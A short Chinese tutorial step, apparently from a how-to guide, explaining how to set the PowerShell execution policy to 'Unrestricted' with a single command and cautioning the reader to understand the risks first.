  1. 更改执行策略:

如果你想允许所有 PowerShell 脚本运行(请确保你了解风险),可以设置执行策略为 “Unrestricted”。输入以下命令:

1
Set-ExecutionPolicy Unrestricted